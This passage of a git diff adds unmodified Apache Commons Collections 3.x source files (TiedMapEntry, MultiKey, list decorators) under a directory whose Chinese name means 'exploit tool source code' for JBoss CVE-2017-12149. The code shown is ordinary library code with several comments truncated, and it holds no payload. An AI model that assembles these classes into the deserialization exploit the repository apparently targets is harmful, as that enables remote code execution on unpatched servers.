+ return iterator.getValue();
+ }
+
+ public Object setValue(Object value) {
+ throw new UnsupportedOperationException("setValue() is not supported");
+ }
+
+ public void remove() {
+ throw new UnsupportedOperationException("remove() is not supported");
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/package.html" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/package.html"
new file mode 100644
index 0000000..1009337
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/package.html"
@@ -0,0 +1,26 @@
+
+
+
+This package contains implementations of the
+{@link java.util.Iterator Iterator} interface.
+
+You may also consider using
+{@link org.apache.commons.collections.IteratorUtils IteratorUtils},
+which is a single class that uses static methods to construct instances
+of the classes in this package.
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractKeyValue.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractKeyValue.java"
new file mode 100644
index 0000000..bfcb00d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractKeyValue.java"
@@ -0,0 +1,81 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.keyvalue;
+
+import org.apache.commons.collections.KeyValue;
+
+/**
+ * Abstract pair class to assist with creating KeyValue and MapEntry implementations.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.3 $ $Date: 2004/02/18 01:00:08 $
+ *
+ * @author James Strachan
+ * @author Michael A. Smith
+ * @author Neil O'Toole
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractKeyValue implements KeyValue {
+
+ /** The key */
+ protected Object key;
+ /** The value */
+ protected Object value;
+
+ /**
+ * Constructs a new pair with the specified key and given value.
+ *
+ * @param key the key for the entry, may be null
+ * @param value the value for the entry, may be null
+ */
+ protected AbstractKeyValue(Object key, Object value) {
+ super();
+ this.key = key;
+ this.value = value;
+ }
+
+ /**
+ * Gets the key from the pair.
+ *
+ * @return the key
+ */
+ public Object getKey() {
+ return key;
+ }
+
+ /**
+ * Gets the value from the pair.
+ *
+ * @return the value
+ */
+ public Object getValue() {
+ return value;
+ }
+
+ /**
+ * Gets a debugging String view of the pair.
+ *
+ * @return a String view of the entry
+ */
+ public String toString() {
+ return new StringBuffer()
+ .append(getKey())
+ .append('=')
+ .append(getValue())
+ .toString();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractMapEntry.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractMapEntry.java"
new file mode 100644
index 0000000..6ea23ae
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractMapEntry.java"
@@ -0,0 +1,92 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.keyvalue;
+
+import java.util.Map;
+
+/**
+ * Abstract Pair class to assist with creating correct Map Entry implementations.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 01:00:08 $
+ *
+ * @author James Strachan
+ * @author Michael A. Smith
+ * @author Neil O'Toole
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractMapEntry extends AbstractKeyValue implements Map.Entry {
+
+ /**
+ * Constructs a new entry with the given key and given value.
+ *
+ * @param key the key for the entry, may be null
+ * @param value the value for the entry, may be null
+ */
+ protected AbstractMapEntry(Object key, Object value) {
+ super(key, value);
+ }
+
+ // Map.Entry interface
+ //-------------------------------------------------------------------------
+ /**
+ * Sets the value stored in this Map Entry.
+ *
+ * This Map Entry is not connected to a Map, so only the local data is changed.
+ *
+ * @param value the new value
+ * @return the previous value
+ */
+ public Object setValue(Object value) {
+ Object answer = this.value;
+ this.value = value;
+ return answer;
+ }
+
+ /**
+ * Compares this Map Entry with another Map Entry.
+ *
+ * Implemented per API documentation of {@link java.util.Map.Entry#equals(Object)}
+ *
+ * @param obj the object to compare to
+ * @return true if equal key and value
+ */
+ public boolean equals(Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ if (obj instanceof Map.Entry == false) {
+ return false;
+ }
+ Map.Entry other = (Map.Entry) obj;
+ return
+ (getKey() == null ? other.getKey() == null : getKey().equals(other.getKey())) &&
+ (getValue() == null ? other.getValue() == null : getValue().equals(other.getValue()));
+ }
+
+ /**
+ * Gets a hashCode compatible with the equals method.
+ *
+ * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
+ *
+ * @return a suitable hash code
+ */
+ public int hashCode() {
+ return (getKey() == null ? 0 : getKey().hashCode()) ^
+ (getValue() == null ? 0 : getValue().hashCode());
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.java"
new file mode 100644
index 0000000..a6b60d9
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.java"
@@ -0,0 +1,86 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.keyvalue;
+
+import java.util.Map;
+
+import org.apache.commons.collections.KeyValue;
+
+/**
+ * Provides a base decorator that allows additional functionality to be added
+ * to a Map Entry.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 01:00:08 $
+ *
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {
+
+ /** The
+ * Note that a
+ * Returns true if the compared object is also a
+ * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()},
+ * however subclasses may override this.
+ *
+ * @return a suitable hash code
+ */
+ public int hashCode() {
+ return (getKey() == null ? 0 : getKey().hashCode()) ^
+ (getValue() == null ? 0 : getValue().hashCode());
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/DefaultMapEntry.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/DefaultMapEntry.java"
new file mode 100644
index 0000000..8d9de88
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/DefaultMapEntry.java"
@@ -0,0 +1,66 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.keyvalue;
+
+import java.util.Map;
+
+import org.apache.commons.collections.KeyValue;
+
+/**
+ * A restricted implementation of {@link java.util.Map.Entry} that prevents
+ * the MapEntry contract from being broken.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.3 $ $Date: 2004/02/18 01:00:08 $
+ *
+ * @author James Strachan
+ * @author Michael A. Smith
+ * @author Neil O'Toole
+ * @author Stephen Colebourne
+ */
+public final class DefaultMapEntry extends AbstractMapEntry {
+
+ /**
+ * Constructs a new entry with the specified key and given value.
+ *
+ * @param key the key for the entry, may be null
+ * @param value the value for the entry, may be null
+ */
+ public DefaultMapEntry(final Object key, final Object value) {
+ super(key, value);
+ }
+
+ /**
+ * Constructs a new entry from the specified KeyValue.
+ *
+ * @param pair the pair to copy, must not be null
+ * @throws NullPointerException if the entry is null
+ */
+ public DefaultMapEntry(final KeyValue pair) {
+ super(pair.getKey(), pair.getValue());
+ }
+
+ /**
+ * Constructs a new entry from the specified MapEntry.
+ *
+ * @param entry the entry to copy, must not be null
+ * @throws NullPointerException if the entry is null
+ */
+ public DefaultMapEntry(final Map.Entry entry) {
+ super(entry.getKey(), entry.getValue());
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/MultiKey.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/MultiKey.java"
new file mode 100644
index 0000000..ad01b27
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/MultiKey.java"
@@ -0,0 +1,257 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.keyvalue;
+
+import java.io.Serializable;
+import java.util.Arrays;
+
+/**
+ * A
+ * The purpose of this class is to avoid the need to write code to handle
+ * maps of maps. An example might be the need to lookup a filename by
+ * key and locale. The typical solution might be nested maps. This class
+ * can be used instead by creating an instance passing in the key and locale.
+ *
+ * Example usage:
+ *
+ * The keys should be immutable
+ * If they are not then they must not be changed after adding to the MultiKey.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ */
+ public MultiKey(Object key1, Object key2) {
+ this(new Object[] {key1, key2}, false);
+ }
+
+ /**
+ * Constructor taking three keys.
+ *
+ * The keys should be immutable
+ * If they are not then they must not be changed after adding to the MultiKey.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ */
+ public MultiKey(Object key1, Object key2, Object key3) {
+ this(new Object[] {key1, key2, key3}, false);
+ }
+
+ /**
+ * Constructor taking four keys.
+ *
+ * The keys should be immutable
+ * If they are not then they must not be changed after adding to the MultiKey.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ */
+ public MultiKey(Object key1, Object key2, Object key3, Object key4) {
+ this(new Object[] {key1, key2, key3, key4}, false);
+ }
+
+ /**
+ * Constructor taking five keys.
+ *
+ * The keys should be immutable
+ * If they are not then they must not be changed after adding to the MultiKey.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @param key5 the fifth key
+ */
+ public MultiKey(Object key1, Object key2, Object key3, Object key4, Object key5) {
+ this(new Object[] {key1, key2, key3, key4, key5}, false);
+ }
+
+ /**
+ * Constructor taking an array of keys which is cloned.
+ *
+ * The keys should be immutable
+ * If they are not then they must not be changed after adding to the MultiKey.
+ *
+ * This is equivalent to
+ * If the array is not cloned, then it must not be modified.
+ *
+ * This method is public for performance reasons only, to avoid a clone.
+ * The hashcode is calculated once here in this method.
+ * Therefore, changing the array passed in would not change the hashcode but
+ * would change the equals method, which is a bug.
+ *
+ * This is the only fully safe usage of this constructor, as the object array
+ * is never made available in a variable:
+ *
+ * The keys should be immutable
+ * If they are not then they must not be changed after adding to the MultiKey.
+ *
+ * @param keys the array of keys, not null
+ * @param makeClone true to clone the array, false to assign it
+ * @throws IllegalArgumentException if the key array is null
+ * @since Commons Collections 3.1
+ */
+ public MultiKey(Object[] keys, boolean makeClone) {
+ super();
+ if (keys == null) {
+ throw new IllegalArgumentException("The array of keys must not be null");
+ }
+ if (makeClone) {
+ this.keys = (Object[]) keys.clone();
+ } else {
+ this.keys = keys;
+ }
+
+ int total = 0;
+ for (int i = 0; i < keys.length; i++) {
+ if (keys[i] != null) {
+ total ^= keys[i].hashCode();
+ }
+ }
+ hashCode = total;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets a clone of the array of keys.
+ *
+ * The keys should be immutable
+ * If they are not then they must not be changed.
+ *
+ * @return the individual keys
+ */
+ public Object[] getKeys() {
+ return (Object[]) keys.clone();
+ }
+
+ /**
+ * Gets the key at the specified index.
+ *
+ * The key should be immutable.
+ * If it is not then it must not be changed.
+ *
+ * @param index the index to retrieve
+ * @return the key at the index
+ * @throws IndexOutOfBoundsException if the index is invalid
+ * @since Commons Collections 3.1
+ */
+ public Object getKey(int index) {
+ return keys[index];
+ }
+
+ /**
+ * Gets the size of the list of keys.
+ *
+ * @return the size of the list of keys
+ * @since Commons Collections 3.1
+ */
+ public int size() {
+ return keys.length;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Compares this object to another.
+ *
+ * To be equal, the other object must be a
+ * This value is computed once and then cached, so elements should not
+ * change their hash codes once created (note that this is the same
+ * constraint that would be used if the individual keys elements were
+ * themselves {@link java.util.Map Map} keys.
+ *
+ * @return the hash code
+ */
+ public int hashCode() {
+ return hashCode;
+ }
+
+ /**
+ * Gets a debugging string version of the key.
+ *
+ * @return a debugging string
+ */
+ public String toString() {
+ return "MultiKey" + Arrays.asList(keys).toString();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/TiedMapEntry.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/TiedMapEntry.java"
new file mode 100644
index 0000000..662a9e5
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/TiedMapEntry.java"
@@ -0,0 +1,134 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.keyvalue;
+
+import java.io.Serializable;
+import java.util.Map;
+
+import org.apache.commons.collections.KeyValue;
+
+/**
+ * A Map Entry tied to a map underneath.
+ *
+ * This can be used to enable a map entry to make changes on the underlying
+ * map, however this will probably mess up any iterators.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/04/09 14:35:10 $
+ *
+ * @author Stephen Colebourne
+ */
+public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = -8453869361373831205L;
+
+ /** The map underlying the entry/iterator */
+ private final Map map;
+ /** The key */
+ private final Object key;
+
+ /**
+ * Constructs a new entry with the given Map and key.
+ *
+ * @param map the map
+ * @param key the key
+ */
+ public TiedMapEntry(Map map, Object key) {
+ super();
+ this.map = map;
+ this.key = key;
+ }
+
+ // Map.Entry interface
+ //-------------------------------------------------------------------------
+ /**
+ * Gets the key of this entry
+ *
+ * @return the key
+ */
+ public Object getKey() {
+ return key;
+ }
+
+ /**
+ * Gets the value of this entry direct from the map.
+ *
+ * @return the value
+ */
+ public Object getValue() {
+ return map.get(key);
+ }
+
+ /**
+ * Sets the value associated with the key direct onto the map.
+ *
+ * @param value the new value
+ * @return the old value
+ * @throws IllegalArgumentException if the value is set to this map entry
+ */
+ public Object setValue(Object value) {
+ if (value == this) {
+ throw new IllegalArgumentException("Cannot set value to this map entry");
+ }
+ return map.put(key, value);
+ }
+
+ /**
+ * Compares this Map Entry with another Map Entry.
+ *
+ * Implemented per API documentation of {@link java.util.Map.Entry#equals(Object)}
+ *
+ * @param obj the object to compare to
+ * @return true if equal key and value
+ */
+ public boolean equals(Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ if (obj instanceof Map.Entry == false) {
+ return false;
+ }
+ Map.Entry other = (Map.Entry) obj;
+ Object value = getValue();
+ return
+ (key == null ? other.getKey() == null : key.equals(other.getKey())) &&
+ (value == null ? other.getValue() == null : value.equals(other.getValue()));
+ }
+
+ /**
+ * Gets a hashCode compatible with the equals method.
+ *
+ * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
+ *
+ * @return a suitable hash code
+ */
+ public int hashCode() {
+ Object value = getValue();
+ return (getKey() == null ? 0 : getKey().hashCode()) ^
+ (value == null ? 0 : value.hashCode());
+ }
+
+ /**
+ * Gets a string version of the entry.
+ *
+ * @return entry as a string
+ */
+ public String toString() {
+ return getKey() + "=" + getValue();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.java"
new file mode 100644
index 0000000..9efecee
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.java"
@@ -0,0 +1,75 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.keyvalue;
+
+import java.util.Map;
+
+import org.apache.commons.collections.KeyValue;
+import org.apache.commons.collections.Unmodifiable;
+
+/**
+ * A {@link java.util.Map.Entry} that throws UnsupportedOperationException
+ * when
+This package contains implementations of collection and map related key/value classes.
+These are usually used in maps, however they can be used as data holders in any collection.
+
+The following key/value designs are included:
+
+ * Overridable methods are provided to change the storage node and to change how
+ * nodes are added to and removed. Hopefully, all you need for unusual subclasses
+ * is here.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.9 $ $Date: 2004/04/20 23:33:54 $
+ *
+ * @author Rich Dougherty
+ * @author Phil Steitz
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractLinkedList implements List {
+
+ /*
+ * Implementation notes:
+ * - a standard circular doubly-linked list
+ * - a marker node is stored to mark the start and the end of the list
+ * - node creation and removal always occurs through createNode() and
+ * removeNode().
+ * - a modification count is kept, with the same semantics as
+ * {@link java.util.LinkedList}.
+ * - respects {@link AbstractList#modCount}
+ */
+
+ /**
+ * A {@link Node} which indicates the start and end of the list and does not
+ * hold a value. The value of
+ * If this constructor is used by a serializable subclass then the init()
+ * method must be called.
+ */
+ protected AbstractLinkedList() {
+ super();
+ }
+
+ /**
+ * Constructs a list copying data from the specified collection.
+ *
+ * @param coll the collection to copy
+ */
+ protected AbstractLinkedList(Collection coll) {
+ super();
+ init();
+ addAll(coll);
+ }
+
+ /**
+ * The equivalent of a default constructor, broken out so it can be called
+ * by any constructor and by
+ * This implementation uses {@link #createNode(Object)} and
+ * {@link #addNode(AbstractLinkedList.Node,AbstractLinkedList.Node)}.
+ *
+ * @param node node to insert before
+ * @param value value of the newly added node
+ * @throws NullPointerException if
+ * This implementation uses {@link #createNode(Object)} and
+ * {@link #addNode(AbstractLinkedList.Node,AbstractLinkedList.Node)}.
+ *
+ * @param node node to insert after
+ * @param value value of the newly added node
+ * @throws NullPointerException if
+ * The first serializable subclass must call this method from
+ *
+ * The first serializable subclass must call this method from
+ *
+ * From Commons Collections 3.1, all access to the
+ * Methods are forwarded directly to the decorated list.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/06/02 21:53:02 $
+ *
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractListDecorator extends AbstractCollectionDecorator implements List {
+
+ /**
+ * Constructor only used in deserialization, do not use otherwise.
+ * @since Commons Collections 3.1
+ */
+ protected AbstractListDecorator() {
+ super();
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param list the list to decorate, must not be null
+ * @throws IllegalArgumentException if list is null
+ */
+ protected AbstractListDecorator(List list) {
+ super(list);
+ }
+
+ /**
+ * Gets the list being decorated.
+ *
+ * @return the decorated list
+ */
+ protected List getList() {
+ return (List) getCollection();
+ }
+
+ //-----------------------------------------------------------------------
+ public void add(int index, Object object) {
+ getList().add(index, object);
+ }
+
+ public boolean addAll(int index, Collection coll) {
+ return getList().addAll(index, coll);
+ }
+
+ public Object get(int index) {
+ return getList().get(index);
+ }
+
+ public int indexOf(Object object) {
+ return getList().indexOf(object);
+ }
+
+ public int lastIndexOf(Object object) {
+ return getList().lastIndexOf(object);
+ }
+
+ public ListIterator listIterator() {
+ return getList().listIterator();
+ }
+
+ public ListIterator listIterator(int index) {
+ return getList().listIterator(index);
+ }
+
+ public Object remove(int index) {
+ return getList().remove(index);
+ }
+
+ public Object set(int index, Object object) {
+ return getList().set(index, object);
+ }
+
+ public List subList(int fromIndex, int toIndex) {
+ return getList().subList(fromIndex, toIndex);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractSerializableListDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractSerializableListDecorator.java"
new file mode 100644
index 0000000..fbccf54
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractSerializableListDecorator.java"
@@ -0,0 +1,69 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.List;
+
+/**
+ * Serializable subclass of AbstractListDecorator.
+ *
+ * @author Stephen Colebourne
+ * @since Commons Collections 3.1
+ */
+public abstract class AbstractSerializableListDecorator
+ extends AbstractListDecorator
+ implements Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 2684959196747496299L;
+
+ /**
+ * Constructor.
+ */
+ protected AbstractSerializableListDecorator(List list) {
+ super(list);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the list out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(collection);
+ }
+
+ /**
+ * Read the list in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ collection = (Collection) in.readObject();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/CursorableLinkedList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/CursorableLinkedList.java"
new file mode 100644
index 0000000..5f24bd2
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/CursorableLinkedList.java"
@@ -0,0 +1,497 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.lang.ref.WeakReference;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+
+/**
+ * A
+ * This implementation supports all of the optional {@link List} operations.
+ * It extends
+ * The main feature of this class is the ability to modify the list and the
+ * iterator at the same time. Both the {@link #listIterator()} and {@link #cursor()}
+ * methods provides access to a
+ * The
+ * Note that this implementation is not synchronized.
+ *
+ * @see java.util.LinkedList
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.5 $ $Date: 2004/02/18 01:12:26 $
+ *
+ * @author Rodney Waldhoff
+ * @author Janek Bogucki
+ * @author Simon Kitching
+ * @author Stephen Colebourne
+ */
+public class CursorableLinkedList extends AbstractLinkedList implements Serializable {
+
+ /** Ensure serialization compatibility */
+ private static final long serialVersionUID = 8836393098519411393L;
+
+ /** A list of the cursor currently open on this list */
+ protected transient List cursors = new ArrayList();
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that creates.
+ */
+ public CursorableLinkedList() {
+ super();
+ init(); // must call init() as use super();
+ }
+
+ /**
+ * Constructor that copies the specified collection
+ *
+ * @param coll the collection to copy
+ */
+ public CursorableLinkedList(Collection coll) {
+ super(coll);
+ }
+
+ /**
+ * The equivalent of a default constructor called
+ * by any constructor and by
